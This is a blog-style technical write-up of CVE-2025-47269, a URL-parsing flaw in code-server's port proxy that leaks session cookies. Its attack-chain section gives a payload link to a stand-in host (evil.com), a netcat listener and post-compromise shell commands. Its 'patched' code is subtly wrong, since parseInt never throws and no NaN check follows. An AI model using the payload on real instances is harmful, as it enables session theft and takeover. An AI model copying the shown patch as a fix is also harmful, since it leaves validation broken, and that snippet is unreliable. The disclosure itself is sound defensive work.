CVE-2025-47269

The '@' That Stole Your Shell: A Deep Dive into CVE-2025-47269

Alon Barad
Alon Barad
Software Engineer

Jan 12, 2026·6 min read

Executive Summary (TL;DR)

code-server's local port proxy didn't verify that the 'port' was actually a number. An attacker can supply a payload like 'test@evil.com' instead of a port number. The backend constructs a URL that is misinterpreted by the HTTP library, causing code-server to authenticate against an attacker's server and hand over the victim's session cookie. This grants the attacker full RCE via the web terminal.

A critical input validation failure in code-server's proxy mechanism allows attackers to hijack sessions via a classic URI parsing confusion. By injecting special characters into the port parameter, attackers can redirect the internal proxy—and your session cookies—to a server they control.

The Hook: Your Browser is the New SSH

If you're a developer in 2025, you probably live in VS Code. And if you like flexibility, you probably run code-server—VS Code running on a remote server, accessible via your browser. It's brilliant. It turns any iPad or Chromebook into a full-blown development environment with terminal access. But with great power comes a massive attack surface.

One of the most convenient features of code-server is its built-in proxy. Say you're developing a React app on port 3000 on the remote server. You can't just access localhost:3000 because 'localhost' is your iPad, not the server. code-server solves this by offering a magic route: /proxy/3000/. When you hit that endpoint, code-server fetches the content from the server's local port 3000 and pipes it back to you.

It’s a feature designed for convenience, functioning as a transparent window into the server's local network stack. But as we've learned time and time again in security, 'transparent' often translates to 'invisible hole in the firewall.' The vulnerability we are dissecting today, CVE-2025-47269, turns this convenience into a nightmare scenario: a one-click account takeover that hands an attacker a root shell on your dev box.

The Flaw: String Concatenation is Not Engineering

The root cause here is a tale as old as web development: trusting user input and pasting it into a string. The developers needed to construct a target URL for the proxy to fetch. Logic dictates that the target should be http://0.0.0.0:{PORT}. Simple, right?

However, the implementation in src/node/routes/pathProxy.ts took a shortcut. Instead of validating that the user-supplied :port parameter was actually an integer (you know, like TCP ports usually are), the code treated it as a raw string. It took whatever garbage the user put in the URL bar and slapped it directly into the target string.

Here is the fatal assumption: The code assumed that because the route was defined as /proxy/:port/, the user would be nice and provide a number. But users are not nice, and hackers are worse. The URL specification (RFC 3986) is complex, and many libraries interpret ambiguous URLs differently. This vulnerability exploits the syntax for Basic Authentication in URLs: scheme://user:password@host:port.

By injecting the @ symbol into the port parameter, an attacker can fundamentally change how the underlying HTTP client parses the destination. The developer thought they were defining the port. The attacker decided they were defining the host.

The Code: Anatomy of a URI Confusion

Let's look at the smoking gun. This is the code responsible for generating the proxy target URL before the patch was applied. Note the direct interpolation of req.params.port.

// VULNERABLE CODE (Pre-patch)
const getProxyTarget = (req: Request): string => {
  const base = (req as any).base || ""
  // req.params.port is taken directly from the URL
  // e.g. /proxy/8080/ -> port is "8080"
  // But /proxy/test@evil.com/ -> port is "test@evil.com"
  return `http://0.0.0.0:${req.params.port}${opts?.proxyBasePath || ""}/${req.originalUrl.slice(base.length)}`
}

If we supply test@evil.com as the port, the resulting string becomes: http://0.0.0.0:test@evil.com/...

To a human, that looks broken. To a URL parser, however, it looks like this:

  • Scheme: http
  • User: 0.0.0.0
  • Password: test
  • Host: evil.com

The 0.0.0.0: part, intended to be the host, has been demoted to a username and password field. The attacker's input, evil.com, has been promoted to the destination host.

Here is the fix in version 4.99.4. It's a textbook remediation: validate the data type before use.

// PATCHED CODE (v4.99.4)
const getProxyTarget = (req: Request): string => {
  const base = (req as any).base || ""
  let port: number
  try {
    // Force integer parsing. If it's not a number, it throws or becomes NaN.
    port = parseInt(req.params.port, 10)
  } catch (err) {
    throw new HttpError("Invalid port", HttpCode.BadRequest)
  }
  // Now we know 'port' is safe
  return `http://0.0.0.0:${port}...`
}

The Exploit: Stealing the Keys to the Kingdom

So we can force the server to talk to evil.com. Why is that a critical vulnerability? Isn't that just a weird Open Redirect or SSRF? Usually, yes. But code-server has a specific behavior that elevates this to critical severity: it forwards cookies.

The proxy is designed to allow developers to test authenticated apps. If you log into your local Django app, code-server needs to pass that cookie along. The flaw is that code-server blindly forwards its own session cookie (the one authenticating you to the IDE) to the target if the browser sends it.

The Attack Chain:

  1. Setup: The attacker spins up a simple HTTP listener on evil.com (e.g., nc -lvp 80).
  2. The Bait: The attacker sends the victim a link: https://vscode.victim-corp.com/proxy/user@evil.com/.
  3. The Click: The victim, already logged into their corporate code-server instance, clicks the link.
  4. The Confusion: code-server constructs the target URL http://0.0.0.0:user@evil.com. It receives the request from the victim's browser (which includes the sensitive code-server-session cookie) and proxies it to evil.com.
  5. The Loot: The attacker's listener receives an incoming HTTP request. In the headers of that request sits the victim's session cookie.
GET / HTTP/1.1
Host: evil.com
Cookie: code-server-session=s%3A39d8... (The Golden Ticket)
...

With this cookie, the attacker can open their own browser, set the cookie, and refresh the page. They are now the victim. They have full access to the VS Code terminal. From there, it's cat /etc/passwd, docker run -v /:/mnt alpine, or just installing a persistence backdoor.

The Impact: Game Over

The impact of this vulnerability cannot be overstated for organizations relying on code-server for remote development. This isn't just a data leak; it is a full compromise of the development environment.

First, there is Confidentiality. The attacker gains access to all source code, environment variables (AWS keys, database credentials), and files stored on the server. If the developer has SSH keys loaded or forwarded, those are at risk too.

Second is Integrity. The attacker can modify code. Imagine a supply chain attack where the attacker modifies a library the developer is about to push to production. They can inject backdoors into the codebase without the developer ever noticing.

Finally, the Network. Since code-server usually runs inside a VPC or internal network, the attacker now has a beachhead inside the firewall. They can use the compromised terminal to scan the internal network, pivoting to other services that were never meant to be exposed to the internet. It is a total security collapse triggered by a single URL.

Fix Analysis (1)

Technical Appendix

CVSS Score
8.3/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L
EPSS Probability
0.04%
Top 87% most exploited

Affected Systems

code-server < 4.99.4

Affected Versions Detail

Product
Affected Versions
Fixed Version
code-server
Coder
< 4.99.44.99.4
AttributeDetail
CWE IDCWE-441
CWE NameConfused Deputy / SSRF
CVSS Score8.3 (High)
Attack VectorNetwork
EPSS Score0.00044
Exploit StatusPoC Available
CWE-441
Unintended Proxy or Intermediary ('Confused Deputy')

The software acts as a proxy or intermediary but does not sufficiently restrict the destination or the data that can be sent, allowing an attacker to use the proxy to access unauthorized resources.

Vulnerability Timeline

Fix committed to GitHub
2025-05-02
Advisory published and patch released
2025-05-09

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.